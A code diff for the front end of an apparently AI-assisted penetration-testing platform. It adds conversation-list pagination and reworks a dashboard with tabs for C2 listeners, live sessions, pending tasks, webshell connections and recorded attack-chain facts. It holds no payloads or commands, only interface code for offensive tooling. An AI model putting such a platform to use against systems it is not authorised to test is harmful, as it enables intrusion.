+    const serverTotal = parsed.total;
+    if (!parsed.isLegacyArray && serverTotal > offset + parsed.items.length) {
+        return serverTotal;
+    }
+    if (parsed.items.length < pageSize) {
+        return Math.max(serverTotal, offset + parsed.items.length);
+    }
+    const probe = new URLSearchParams(params);
+    probe.set('offset', String(offset + pageSize));
+    probe.set('limit', '1');
+    try {
+        const res = await apiFetch(`/api/conversations?${probe}`);
+        if (!res.ok) return Math.max(serverTotal, offset + parsed.items.length);
+        const probeParsed = parseConversationsListResponse(await res.json());
+        if (probeParsed.total > serverTotal) return probeParsed.total;
+        if (probeParsed.items.length > 0) {
+            return Math.max(serverTotal, offset + pageSize + 1);
+        }
+    } catch (e) { /* ignore */ }
+    return Math.max(serverTotal, offset + parsed.items.length);
+}
+
+async function fetchAllConversations(searchQuery) {
+    let all = [];
+    const pageSize = 200;
+    let offset = 0;
+    let total = Infinity;
+    const search = (searchQuery || '').trim();
+    while (all.length < total) {
+        const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
+        if (search) params.set('search', search);
+        const res = await apiFetch(`/api/conversations?${params}`);
+        if (!res.ok) throw new Error('load conversations failed');
+        const parsed = parseConversationsListResponse(await res.json());
+        all = all.concat(parsed.items);
+        total = parsed.total;
+        if (!parsed.items.length) break;
+        offset += parsed.items.length;
+    }
+    return all;
+}
+
+function getConversationListEmptyHtml() {
+    return '<div class="conversations-list-empty" data-i18n="chat.noHistoryConversations"></div>';
+}
+
+function renderConversationsPagination(visibleCount) {
+    const el = document.getElementById('conversations-pagination');
+    if (!el) return;
+    const { page, pageSize, total } = conversationsPagination;
+    const count = typeof visibleCount === 'number' ? visibleCount : (conversationsPagination.visibleCount || 0);
+    conversationsPagination.visibleCount = count;
+
+    if (count === 0 || total === 0) {
+        el.innerHTML = '';
+        el.hidden = true;
+        return;
+    }
+
+    const totalPages = Math.max(1, Math.ceil(total / pageSize) || 1);
+    const navDisabled = totalPages <= 1;
+    el.hidden = false;
+    const start = (page - 1) * pageSize + 1;
+    const end = Math.min(page * pageSize, total);
+    const tFn = typeof window.t === 'function' ? window.t.bind(window) : null;
+    const infoText = tFn
+        ? tFn('chat.paginationRange', { start, end, total })
+        : `${start}-${end}/${total}`;
+    const pageText = tFn
+        ? tFn('chat.paginationPage', { page, total: totalPages })
+        : `${page}/${totalPages}`;
+    const perPageLabel = tFn ? tFn('chat.paginationPerPage') : 'Per page';
+    const prevLabel = tFn ? tFn('chat.paginationPrev') : 'Prev';
+    const nextLabel = tFn ? tFn('chat.paginationNext') : 'Next';
+    el.innerHTML = `
+        <div class="sidebar-list-pagination-inner sidebar-list-pagination-inner--compact">
+            <span class="pagination-info">${escapeHtml(infoText)}</span>
+            <div class="pagination-controls">
+                <button type="button" class="btn-icon-pagination" onclick="goConversationsPage(${page - 1})" ${page <= 1 || navDisabled ? 'disabled' : ''} title="${escapeHtml(prevLabel)}" aria-label="${escapeHtml(prevLabel)}">‹</button>
+                <span class="pagination-page">${escapeHtml(pageText)}</span>
+                <button type="button" class="btn-icon-pagination" onclick="goConversationsPage(${page + 1})" ${page >= totalPages || navDisabled ? 'disabled' : ''} title="${escapeHtml(nextLabel)}" aria-label="${escapeHtml(nextLabel)}">›</button>
+            </div>
+            <label class="pagination-page-size">
+                ${escapeHtml(perPageLabel)}
+                <select id="conversations-page-size-pagination" onchange="changeConversationsPageSize()">
+                    <option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
+                    <option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
+                    <option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
+                </select>
+            </label>
+        </div>`;
+}
+
+function goConversationsPage(page) {
+    const totalPages = Math.max(1, Math.ceil((conversationsPagination.total || 0) / conversationsPagination.pageSize) || 1);
+    const next = Math.min(Math.max(1, page), totalPages);
+    if (next === conversationsPagination.page) return;
+    conversationsPagination.page = next;
+    loadConversationsWithGroups(conversationsSearchQuery);
+}
+
+function changeConversationsPageSize() {
+    const sel = document.getElementById('conversations-page-size-pagination');
+    const newSize = sel ? parseInt(sel.value, 10) : 50;
+    if (![20, 50, 100].includes(newSize)) return;
+    try {
+        localStorage.setItem(CONVERSATIONS_PAGE_SIZE_KEY, String(newSize));
+    } catch (e) { /* ignore */ }
+    conversationsPagination.pageSize = newSize;
+    conversationsPagination.page = 1;
+    loadConversationsWithGroups(conversationsSearchQuery);
+}
+
+window.goConversationsPage = goConversationsPage;
+window.changeConversationsPageSize = changeConversationsPageSize;
 
 // 加载分组列表
 async function loadGroups() {
@@ -5791,12 +5885,17 @@ async function loadGroups() {
 async function loadConversationsWithGroups(searchQuery = '') {
     const loadSeq = ++conversationsListLoadSeq;
     try {
-        // 并行加载分组列表、分组映射和对话列表（消除串行等待）
-        const limit = (searchQuery && searchQuery.trim()) ? 100 : 100;
-        let url = `/api/conversations?limit=${limit}`;
+        conversationsSearchQuery = searchQuery || '';
+        conversationsPagination.pageSize = getConversationsPageSize();
+        const pageSize = conversationsPagination.pageSize;
+        const offset = (conversationsPagination.page - 1) * pageSize;
+        const convParams = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
         if (searchQuery && searchQuery.trim()) {
-            url += '&search=' + encodeURIComponent(searchQuery.trim());
+            convParams.set('search', searchQuery.trim());
+        } else {
+            convParams.set('exclude_grouped', 'true');
         }
+        const url = `/api/conversations?${convParams}`;
         const [,, response] = await Promise.all([
             loadGroups(),
             loadConversationGroupMapping(),
@@ -5813,23 +5912,26 @@ async function loadConversationsWithGroups(searchQuery = '') {
         const sidebarContent = listContainer.closest('.sidebar-content');
         const savedScrollTop = sidebarContent ? sidebarContent.scrollTop : 0;
 
-        const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
+        const emptyStateHtml = getConversationListEmptyHtml();
         listContainer.innerHTML = '';
 
         // 如果响应不是200，显示空状态（友好处理，不显示错误）
         if (!response.ok) {
             listContainer.innerHTML = emptyStateHtml;
             if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
+            renderConversationsPagination(0);
             return;
         }
 
-        const conversations = await response.json();
+        const data = await response.json();
         if (loadSeq !== conversationsListLoadSeq) return;
+        const parsed = parseConversationsListResponse(data);
+        conversationsPagination.total = await resolveConversationsListTotal(convParams, parsed, pageSize, offset);
 
         // 双重保险：后端或并发情况下若出现重复ID，前端按ID去重
         const uniqueConversations = [];
         const seenConversationIds = new Set();
-        (Array.isArray(conversations) ? conversations : []).forEach(conv => {
+        parsed.items.forEach(conv => {
             if (!conv || !conv.id || seenConversationIds.has(conv.id)) {
                 return;
             }
@@ -5840,6 +5942,7 @@ async function loadConversationsWithGroups(searchQuery = '') {
         if (uniqueConversations.length === 0) {
             listContainer.innerHTML = emptyStateHtml;
             if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
+            renderConversationsPagination(0);
             return;
         }
         
@@ -5950,15 +6053,29 @@ async function loadConversationsWithGroups(searchQuery = '') {
             fragment.appendChild(section);
         });
 
+        const visibleCount = pinnedConvs.length + Object.values(groups).reduce((n, arr) => n + (arr ? arr.length : 0), 0);
+        conversationsPagination.visibleCount = visibleCount;
+
+        if (!hasSearchQuery && visibleCount === 0 && parsed.items.length > 0) {
+            const totalPages = Math.max(1, Math.ceil(parsed.total / pageSize));
+            if (conversationsPagination.page < totalPages) {
+                conversationsPagination.page += 1;
+                loadConversationsWithGroups(searchQuery);
+                return;
+            }
+        }
+
         if (fragment.children.length === 0) {
             listContainer.innerHTML = emptyStateHtml;
             if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
+            renderConversationsPagination(0);
             return;
         }
 
         if (loadSeq !== conversationsListLoadSeq) return;
         listContainer.appendChild(fragment);
         updateActiveConversation();
+        renderConversationsPagination(visibleCount);
         
         // 恢复滚动位置
         if (sidebarContent) {
@@ -5975,9 +6092,9 @@ async function loadConversationsWithGroups(searchQuery = '') {
         // 错误时显示空状态，而不是错误提示（更友好的用户体验）
         const listContainer = document.getElementById('conversations-list');
         if (listContainer) {
-            const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
-            listContainer.innerHTML = emptyStateHtml;
+            listContainer.innerHTML = getConversationListEmptyHtml();
             if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
+            renderConversationsPagination(0);
         }
     }
 }
@@ -7091,15 +7208,7 @@ function updateBatchManageTitle(count) {
 
 async function showBatchManageModal() {
     try {
-        const response = await apiFetch('/api/conversations?limit=1000');
-        
-        // 如果响应不是200，使用空数组（友好处理，不显示错误）
-        if (!response.ok) {
-            allConversationsForBatch = [];
-        } else {
-            const data = await response.json();
-            allConversationsForBatch = Array.isArray(data) ? data : [];
-        }
+        allConversationsForBatch = await fetchAllConversations('');
 
         const modal = document.getElementById('batch-manage-modal');
         updateBatchManageTitle(allConversationsForBatch.length);
@@ -7500,7 +7609,7 @@ document.addEventListener('languagechange', function () {
     refreshHitlConfigByCurrentConversation();
 });
 
-// 点击外部关闭图标选择器、对话模式面板
+// 点击外部关闭图标选择器、对话模式面板、侧栏折叠卡片
 document.addEventListener('click', function(event) {
     const picker = document.getElementById('group-icon-picker');
     const iconBtn = document.getElementById('create-group-icon-btn');
@@ -7526,6 +7635,13 @@ document.addEventListener('click', function(event) {
             closeChatReasoningPanel();
         }
     }
+
+    const hitlCard = document.getElementById('hitl-sidebar-card');
+    if (hitlCard && !hitlCard.classList.contains('hitl-sidebar-collapsed')) {
+        if (!hitlCard.contains(event.target)) {
+            closeHitlSidebarCard();
+        }
+    }
 });
 
 // 创建分组

web/static/js/dashboard.js

@@ -21,6 +21,9 @@ var dashboardState = {
     lastUpdatedAt: 0,           // 上次成功刷新的时间戳（ms）
     dismissedAlertKey: null,    // 当前会话中被用户「×」掉的告警内容指纹（同样的 reasons 不再弹）
     lastResources: null,        // 上一轮关键资源快照，用于判断是否首次有数据 / 智能 CTA
+    recentFeedTab: 'vulns',     // 最近漏洞 / 近期事实 Tab
+    accessTab: 'c2',            // 接入概览 Tab：c2 | webshell
+    lastProjectSummary: null,   // 最近一次项目仪表盘摘要（供 Tab 切换时重绘）
 };
 
 async function refreshDashboard() {
@@ -57,9 +60,14 @@ async function refreshDashboard() {
         hideEl('dashboard-kpi-vuln-critical-badge');
         hideEl('dashboard-alert-banner');
         setRecentVulnsLoading();
-        ['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) {
+        setRecentFactsLoading();
+        ['tools', 'skills', 'knowledge', 'roles', 'agents'].forEach(function (k) {
             setEl('dashboard-resource-' + k, '…');
         });
+        setEl('dashboard-webshell-connections', '…');
+        setEl('dashboard-c2-listeners-running', '…');
+        setEl('dashboard-c2-sessions-online', '…');
+        setEl('dashboard-c2-tasks-pending', '…');
         var chartPlaceholder = document.getElementById('dashboard-tools-pie-placeholder');
         if (chartPlaceholder) { chartPlaceholder.style.removeProperty('display'); chartPlaceholder.textContent = (typeof window.t === 'function' ? window.t('common.loading') : '加载中…'); }
         var barChartEl = document.getElementById('dashboard-tools-bar-chart');
@@ -104,7 +112,8 @@ async function refreshDashboard() {
             openCriticalRes, openHighRes, openMediumRes, openLowRes, toolsConfigRes,
             hitlPendingRes, notificationsRes, externalMcpStatsRes,
             webshellRes,
-            c2ListenersRes, c2SessionsRes, c2TasksRes
+            c2ListenersRes, c2SessionsRes, c2TasksRes,
+            projectSummaryRes
         ] = await Promise.all([
             fetchJson('/api/agent-loop/tasks'),
             fetchJson('/api/vulnerabilities/stats'),
@@ -112,7 +121,7 @@ async function refreshDashboard() {
             fetchJson('/api/monitor/stats'),
             fetchJson('/api/knowledge/stats'),
             fetchJson('/api/skills/stats'),
-            fetchJson('/api/vulnerabilities?limit=5&page=1'),
+            fetchJson('/api/vulnerabilities?limit=10&page=1'),
             fetchJson('/api/roles'),
             fetchJson('/api/multi-agent/markdown-agents'),
             openVulnQuery('critical'),
@@ -134,7 +143,8 @@ async function refreshDashboard() {
             // C2 仪表盘条：监听器 / 会话 / 待处理任务（任务接口含 pending_queued_count）
             fetchJson('/api/c2/listeners'),
             fetchJson('/api/c2/sessions?limit=500'),
-            fetchJson('/api/c2/tasks?page=1&page_size=1')
+            fetchJson('/api/c2/tasks?page=1&page_size=1'),
+            fetchJson('/api/projects/dashboard-summary?fact_limit=10')
         ]);
 
         // 如果在 await 期间 controller 已被 abort，说明又有新刷新启动了，丢弃本次结果
@@ -373,20 +383,10 @@ async function refreshDashboard() {
         } else {
             setEl('dashboard-resource-agents', '-');
         }
-        // WebShell 已建立的连接：/api/webshell/connections 直接返回数组（不带包裹），
-        // 兼容一下 { connections: [...] } 形式以防后续接口变更
-        var webshellList = null;
-        if (Array.isArray(webshellRes)) webshellList = webshellRes;
-        else if (webshellRes && Array.isArray(webshellRes.connections)) webshellList = webshellRes.connections;
-        var webshellCount = webshellList ? webshellList.length : null;
-        if (webshellCount !== null) {
-            setEl('dashboard-resource-webshell', formatNumber(webshellCount));
-        } else {
-            setEl('dashboard-resource-webshell', '-');
-        }
-
         // 最近漏洞列表
         renderRecentVulns(recentVulnsRes);
+        dashboardState.lastProjectSummary = projectSummaryRes;
+        renderRecentFacts(projectSummaryRes);
 
         // External MCP 健康度（同时拿到 down 数喂给 alert banner / 推荐操作）
         var externalMcpDown = renderExternalMcpHealth(externalMcpStatsRes);
@@ -397,8 +397,8 @@ async function refreshDashboard() {
         // 「最近事件」内联展示（来自通知摘要，过滤掉已经被仪表盘其他位置覆盖的类型）
         renderRecentEvents(notificationsRes);
 
-        // C2 概览条（监听器 / 在线会话 / 待处理任务）
-        renderDashboardC2Overview(c2ListenersRes, c2SessionsRes, c2TasksRes);
+        // 接入概览（C2 + WebShell）
+        renderDashboardAccessOverview(c2ListenersRes, c2SessionsRes, c2TasksRes, webshellRes);
 
         // 关键提醒条：把所有可能的告警源（漏洞/HITL/失败率/MCP健康）合并展示
         renderDashboardAlertBanner({
@@ -448,12 +448,13 @@ async function refreshDashboard() {
         setKpiSubText('dashboard-kpi-vuln-sub-text', '-');
         setKpiSubText('dashboard-kpi-tools-sub-text', '-');
         setKpiSubText('dashboard-kpi-rate-sub-text', '-');
-        ['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) {
+        ['tools', 'skills', 'knowledge', 'roles', 'agents'].forEach(function (k) {
             setEl('dashboard-resource-' + k, '-');
         });
-        var c2secErr = document.getElementById('dashboard-section-c2');
-        if (c2secErr) c2secErr.hidden = true;
+        var accessSecErr = document.getElementById('dashboard-section-access');
+        if (accessSecErr) accessSecErr.hidden = true;
         setRecentVulnsError();
+        setRecentFactsError();
         renderDashboardToolsBar(null);
         var ph = document.getElementById('dashboard-tools-pie-placeholder');
         if (ph) { ph.style.removeProperty('display'); ph.textContent = (typeof window.t === 'function' ? window.t('dashboard.noCallData') : '暂无调用数据'); }
@@ -467,53 +468,181 @@ async function refreshDashboard() {
     }
 }
 
-/** C2 概览条：依赖 /api/c2/listeners、sessions、tasks；任一路由失败则整块隐藏 */
-function renderDashboardC2Overview(listenersRes, sessionsRes, tasksRes) {
-    var section = document.getElementById('dashboard-section-c2');
+/** 接入概览：C2 / WebShell Tab 切换；C2 禁用时仅保留 WebShell Tab */
+function renderDashboardAccessOverview(listenersRes, sessionsRes, tasksRes, webshellRes) {
+    var section = document.getElementById('dashboard-section-access');
     if (!section) return;
-    if (listenersRes === null && sessionsRes === null && tasksRes === null) {
+
+    var c2ConfigOn = window.__c2Enabled !== false;
+    var webshellList = null;
+    if (Array.isArray(webshellRes)) webshellList = webshellRes;
+    else if (webshellRes && Array.isArray(webshellRes.connections)) webshellList = webshellRes.connections;
+    var wsApiOk = webshellRes !== null;
+    var c2ApiOk = listenersRes !== null || sessionsRes !== null || tasksRes !== null;
+    var showC2 = c2ConfigOn && c2ApiOk;
+    var showWs = wsApiOk;
+
+    section.dataset.c2Available = showC2 ? '1' : '0';
+    section.dataset.webshellAvailable = showWs ? '1' : '0';
+
+    if (!showC2 && !showWs) {
         section.hidden = true;
         return;
     }
-    var running = '-';
-    if (listenersRes && Array.isArray(listenersRes.listeners)) {
-        running = String(listenersRes.listeners.filter(function (l) {
-            return (l && (l.status || '').toLowerCase() === 'running');
-        }).length);
-    } else if (listenersRes === null) {
-        running = '-';
-    } else {
-        running = '0';
+
+    if (showC2) {
+        var running = '-';
+        if (listenersRes && Array.isArray(listenersRes.listeners)) {
+            running = String(listenersRes.listeners.filter(function (l) {
+                return (l && (l.status || '').toLowerCase() === 'running');
+            }).length);
+        } else if (listenersRes === null) {
+            running = '-';
+        } else {
+            running = '0';
+        }
+        var online = '-';
+        if (sessionsRes && Array.isArray(sessionsRes.sessions)) {
+            online = String(sessionsRes.sessions.filter(function (s) {
+                if (!s) return false;
+                var st = (s.status || '').toLowerCase();
+                return st === 'active' || st === 'sleeping';
+            }).length);
+        } else if (sessionsRes === null) {
+            online = '-';
+        } else {
+            online = '0';
+        }
+        var pending = '-';
+        if (tasksRes && typeof tasksRes.pending_queued_count === 'number') {
+            pending = String(tasksRes.pending_queued_count);
+        } else if (tasksRes === null) {
+            pending = '-';
+        } else {
+            pending = '0';
+        }
+        setEl('dashboard-c2-listeners-running', running);
+        setEl('dashboard-c2-sessions-online', online);
+        setEl('dashboard-c2-tasks-pending', pending);
     }
-    var online = '-';
-    if (sessionsRes && Array.isArray(sessionsRes.sessions)) {
-        online = String(sessionsRes.sessions.filter(function (s) {
-            if (!s) return false;
-            var st = (s.status || '').toLowerCase();
-            return st === 'active' || st === 'sleeping';
-        }).length);
-    } else if (sessionsRes === null) {
-        online = '-';
-    } else {
-        online = '0';
+
+    if (showWs) {
+        var wsCount = webshellList ? webshellList.length : 0;
+        setEl('dashboard-webshell-connections', formatNumber(wsCount));
+        renderDashboardWebshellRecent(webshellList || []);
     }
-    var pending = '-';
-    if (tasksRes && typeof tasksRes.pending_queued_count === 'number') {
-        pending = String(tasksRes.pending_queued_count);
-    } else if (tasksRes === null) {
-        pending = '-';
-    } else {
-        pending = '0';
-    }
-    setEl('dashboard-c2-listeners-running', running);
-    setEl('dashboard-c2-sessions-online', online);
-    setEl('dashboard-c2-tasks-pending', pending);
+
     section.hidden = false;
+    syncDashboardAccessTabs();
     if (typeof applyTranslations === 'function') {
         try { applyTranslations(section); } catch (_e) { /* ignore */ }
     }
 }
 
+/** C2 / WebShell Tab 切换（样式与「最近漏洞 / 近期事实」一致） */
+function switchDashboardAccessTab(tab) {
+    tab = tab === 'webshell' ? 'webshell' : 'c2';
+    dashboardState.accessTab = tab;
+    applyDashboardAccessTabUI(tab);
+}
+
+function applyDashboardAccessTabUI(tab) {
+    var tabC2 = document.getElementById('dashboard-access-tab-c2');
+    var tabWs = document.getElementById('dashboard-access-tab-webshell');
+    var panelC2 = document.getElementById('dashboard-access-panel-c2');
+    var panelWs = document.getElementById('dashboard-access-panel-webshell');
+    if (tabC2) {
+        tabC2.classList.toggle('is-active', tab === 'c2');
+        tabC2.setAttribute('aria-selected', tab === 'c2' ? 'true' : 'false');
+    }
+    if (tabWs) {
+        tabWs.classList.toggle('is-active', tab === 'webshell');
+        tabWs.setAttribute('aria-selected', tab === 'webshell' ? 'true' : 'false');
+    }
+    if (panelC2) panelC2.hidden = tab !== 'c2';
+    if (panelWs) panelWs.hidden = tab !== 'webshell';
+    updateDashboardAccessViewAll(tab);
+}
+
+function updateDashboardAccessViewAll(tab) {
+    var link = document.getElementById('dashboard-access-view-all');
+    if (!link) return;
+    if (tab === 'webshell') {
+        link.onclick = function () { try { switchPage('webshell'); } catch (_) {} };
+        link.setAttribute('data-i18n', 'dashboard.webshellGoManage');
+        link.textContent = dt('dashboard.webshellGoManage', null, '进入 WebShell →');
+    } else {
+        link.onclick = function () { try { switchPage('c2-listeners'); } catch (_) {} };
+        link.setAttribute('data-i18n', 'dashboard.c2GoManage');
+        link.textContent = dt('dashboard.c2GoManage', null, '进入 C2 →');
+    }
+}
+
+/** 根据可用模块同步 Tab 可见性与默认选中项 */
+function syncDashboardAccessTabs() {
+    var section = document.getElementById('dashboard-section-access');
+    if (!section || section.hidden) return;
+
+    var showC2 = section.dataset.c2Available === '1';
+    var showWs = section.dataset.webshellAvailable === '1';
+    var tabNav = document.getElementById('dashboard-access-tabs');
+    var tabC2 = document.getElementById('dashboard-access-tab-c2');
+    var tabWs = document.getElementById('dashboard-access-tab-webshell');
+
+    if (tabC2) tabC2.hidden = !showC2;
+    if (tabWs) tabWs.hidden = !showWs;
+    if (tabNav) tabNav.hidden = false;
+
+    var tab = dashboardState.accessTab;
+    if (tab === 'c2' && !showC2) tab = 'webshell';
+    if (tab === 'webshell' && !showWs) tab = 'c2';
+    if (!showC2 && showWs) tab = 'webshell';
+    if (showC2 && !showWs) tab = 'c2';
+    dashboardState.accessTab = tab;
+    applyDashboardAccessTabUI(tab);
+}
+
+/** WebShell 接入概览：最近 3 条连接摘要 */
+function renderDashboardWebshellRecent(list) {
+    var container = document.getElementById('dashboard-webshell-recent');
+    if (!container) return;
+    container.innerHTML = '';
+    if (!list || list.length === 0) {
+        container.hidden = true;
+        return;
+    }
+    var sorted = list.slice().sort(function (a, b) {
+        var ta = (a && a.createdAt) ? Date.parse(a.createdAt) : 0;
+        var tb = (b && b.createdAt) ? Date.parse(b.createdAt) : 0;
+        return tb - ta;
+    });
+    var recent = sorted.slice(0, 3);
+    recent.forEach(function (conn) {
+        if (!conn) return;
+        var item = document.createElement('div');
+        item.className = 'dashboard-webshell-recent-item';
+        item.setAttribute('role', 'button');
+        item.setAttribute('tabindex', '0');
+        var label = (conn.remark || '').trim() || (conn.url || '').trim() || (conn.id || '');
+        var typeTag = (conn.type || 'shell').toUpperCase();
+        item.innerHTML =
+            '<span class="dashboard-webshell-recent-type">' + esc(typeTag) + '</span>' +
+            '<span class="dashboard-webshell-recent-label" title="' + esc(label) + '">' + esc(label) + '</span>';
+        var openWs = function () {
+            try { switchPage('webshell'); } catch (_) {}
+        };
+        item.addEventListener('click', openWs);
+        item.addEventListener('keydown', function (e) {
+            if (e.key === 'Enter' || e.key === ' ') {
+                e.preventDefault();
+                openWs();
+            }
+        });
+        container.appendChild(item);
+    });
+    container.hidden = false;
+}
+
 function setEl(id, text) {
     const el = document.getElementById(id);
     if (el) el.textContent = text;
@@ -1088,12 +1217,9 @@ function renderRecentVulns(res) {
     if (list.length === 0) {
         if (empty) {
             empty.hidden = false;
-            // 升级版空状态：图标 + 标题 + 描述 + 行动按钮，比纯文本更易引导用户下一步
+            // 升级版空状态：标题 + 描述 + 行动按钮，比纯文本更易引导用户下一步
             empty.classList.add('is-rich');
             empty.innerHTML = (
-                '<span class="dashboard-empty-icon" aria-hidden="true">' +
-                '<svg width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M9 12l2 2 4-4"/></svg>' +
-                '</span>' +
                 '<div class="dashboard-empty-title">' + esc(dt('dashboard.noVulnYet', null, '暂无最近漏洞')) + '</div>' +
                 '<div class="dashboard-empty-desc">' + esc(dt('dashboard.noVulnDesc', null, '此处展示近期漏洞记录；在对话中完成检测后，新结果会出现在这里')) + '</div>' +
                 '<button type="button" class="dashboard-empty-action" data-action="scan">' +
@@ -1109,7 +1235,7 @@ function renderRecentVulns(res) {
         empty.classList.remove('is-rich');
     }
 
-    list.slice(0, 5).forEach(function (v) {
+    list.slice(0, 10).forEach(function (v) {
         const sev = (v.severity || 'info').toLowerCase();
         const status = (v.status || 'open').toLowerCase();
         const item = document.createElement('a');
@@ -1130,6 +1256,203 @@ function renderRecentVulns(res) {
     });
 }
 
+// 最近漏洞 / 近期事实 Tab 切换（共用列表区域，查看全部链接随 Tab 变化）
+function switchDashboardFeedTab(tab) {
+    tab = tab === 'facts' ? 'facts' : 'vulns';
+    dashboardState.recentFeedTab = tab;
+
+    var tabVulns = document.getElementById('dashboard-feed-tab-vulns');
+    var tabFacts = document.getElementById('dashboard-feed-tab-facts');
+    var panelVulns = document.getElementById('dashboard-feed-panel-vulns');
+    var panelFacts = document.getElementById('dashboard-feed-panel-facts');
+    if (tabVulns) {
+        tabVulns.classList.toggle('is-active', tab === 'vulns');
+        tabVulns.setAttribute('aria-selected', tab === 'vulns' ? 'true' : 'false');
+    }
+    if (tabFacts) {
+        tabFacts.classList.toggle('is-active', tab === 'facts');
+        tabFacts.setAttribute('aria-selected', tab === 'facts' ? 'true' : 'false');
+    }
+    if (panelVulns) panelVulns.hidden = tab !== 'vulns';
+    if (panelFacts) panelFacts.hidden = tab !== 'facts';
+    updateDashboardFeedViewAll(tab);
+}
+
+function updateDashboardFeedViewAll(tab) {
+    var link = document.getElementById('dashboard-feed-view-all');
+    if (!link) return;
+    if (tab === 'facts') {
+        link.onclick = function () { try { switchPage('projects'); } catch (_) {} };
+    } else {
+        link.onclick = function () { try { switchPage('vulnerabilities'); } catch (_) {} };
+    }
+}
+
+function setRecentFactsLoading() {
+    var wrap = document.getElementById('dashboard-recent-facts');
+    var empty = document.getElementById('dashboard-recent-facts-empty');
+    if (!wrap) return;
+    clearRecentFactsList(wrap);
+    if (empty) {
+        empty.hidden = false;
+        empty.classList.remove('is-rich');
+        empty.textContent = dt('common.loading', null, '加载中…');
+    }
+}
+
+function clearRecentFactsList(wrap) {
+    if (!wrap) return;
+    Array.from(wrap.querySelectorAll('.dashboard-recent-fact-item, .dashboard-recent-facts-meta')).forEach(function (n) { n.remove(); });
+}
+
+function setRecentFactsError() {
+    var wrap = document.getElementById('dashboard-recent-facts');
+    var empty = document.getElementById('dashboard-recent-facts-empty');
+    if (!wrap) return;
+    clearRecentFactsList(wrap);
+    if (empty) {
+        empty.hidden = false;
+        empty.classList.remove('is-rich');
+        empty.textContent = dt('common.loadFailed', null, '加载失败');
+    }
+}
+
+function factConfidenceShortLabel(confidence) {
+    var c = String(confidence || '').toLowerCase();
+    if (c === 'confirmed') return dt('projects.confidenceConfirmed', null, '已确认');
+    if (c === 'tentative') return dt('projects.confidenceTentative', null, '待确认');
+    return c || '—';
+}
+
+function factCategoryShortLabel(category) {
+    var raw = String(category || '').trim();
+    return raw || 'note';
+}
+
+// 按 project_id（回退 project_name）稳定映射 8 种配色，同一项目跨刷新颜色一致
+function projectFactProjectTone(projectId, projectName) {
+    var key = String(projectId || projectName || '').trim();
+    if (!key) return 0;
+    var hash = 0;
+    for (var i = 0; i < key.length; i++) {
+        hash = ((hash << 5) - hash) + key.charCodeAt(i);
+        hash |= 0;
+    }
+    return Math.abs(hash) % 8;
+}
+
+function openProjectFactFromDashboard(projectId, factKey) {
+    if (!projectId) return;
+    if (typeof switchPage === 'function') {
+        switchPage('projects');
+    }
+    setTimeout(async function () {
+        if (typeof window.initProjectsPage === 'function') {
+            await window.initProjectsPage();
+        }
+        if (typeof window.selectProject === 'function') {
+            await window.selectProject(projectId);
+        }
+        if (typeof window.switchProjectTab === 'function') {
+            window.switchProjectTab('facts');
+        }
+        if (factKey && typeof window.viewProjectFactBody === 'function') {
+            window.viewProjectFactBody(factKey);
+        }
+    }, 350);
+}
+
+function renderRecentFacts(res) {
+    var wrap = document.getElementById('dashboard-recent-facts');
+    var empty = document.getElementById('dashboard-recent-facts-empty');
+    if (!wrap) return;
+
+    clearRecentFactsList(wrap);
+
+    var list = (res && Array.isArray(res.recent_facts)) ? res.recent_facts : [];
+    var totals = (res && res.totals) ? res.totals : {};
+    var activeProjects = totals.active_projects || 0;
+    var totalFacts = totals.total_facts || 0;
+
+    if (list.length === 0) {
+        if (empty) {
+            empty.hidden = false;
+            empty.classList.add('is-rich');
+            var desc = activeProjects > 0
+                ? dt('dashboard.noFactsDesc', null, '在绑定项目的对话中，Agent 会自动记录目标、漏洞、攻击链等事实')
+                : dt('projects.selectOrCreateHint', null, '项目用于跨对话共享「事实黑板」：目标、环境、认证等信息会在绑定项目的对话中自动注入。');
+            var ctaLabel = activeProjects > 0
+                ? dt('dashboard.goToChat', null, '前往对话')
+                : dt('dashboard.createFirstProjectBtn', null, '创建第一个项目');
+            var ctaAction = activeProjects > 0 ? 'chat' : 'project';
+            empty.innerHTML = (
+                '<div class="dashboard-empty-title">' + esc(dt('dashboard.noFactsYet', null, '暂无近期事实')) + '</div>' +
+                '<div class="dashboard-empty-desc">' + esc(desc) + '</div>' +
+                '<button type="button" class="dashboard-empty-action" data-action="' + esc(ctaAction) + '">' +
+                esc(ctaLabel) + ' →</button>'
+            );
+            var btn = empty.querySelector('[data-action]');
+            if (btn) {
+                btn.onclick = function () {
+                    var action = btn.getAttribute('data-action');
+                    if (action === 'project') {
+                        try { switchPage('projects'); } catch (_) {}
+                        setTimeout(function () {
+                            if (typeof window.showNewProjectModal === 'function') {
+                                window.showNewProjectModal();
+                            }
+                        }, 350);
+                    } else {
+                        try { switchPage('chat'); } catch (_) {}
+                    }
+                };
+            }
+        }
+        return;
+    }
+
+    if (empty) {
+        empty.hidden = true;
+        empty.classList.remove('is-rich');
+    }
+
+    list.slice(0, 10).forEach(function (f) {
+        if (!f) return;
+        var category = factCategoryShortLabel(f.category);
+        var confidence = String(f.confidence || 'tentative').toLowerCase();
+        var item = document.createElement('a');
+        item.className = 'dashboard-recent-fact-item';
+        item.setAttribute('role', 'button');
+        item.tabIndex = 0;
+        var pid = f.project_id || '';
+        var fkey = f.fact_key || '';
+        item.onclick = function () { openProjectFactFromDashboard(pid, fkey); };
+        item.onkeydown = function (e) {
+            if (e.key === 'Enter' || e.key === ' ') {
+                e.preventDefault();
+                item.click();
+            }
+        };
+
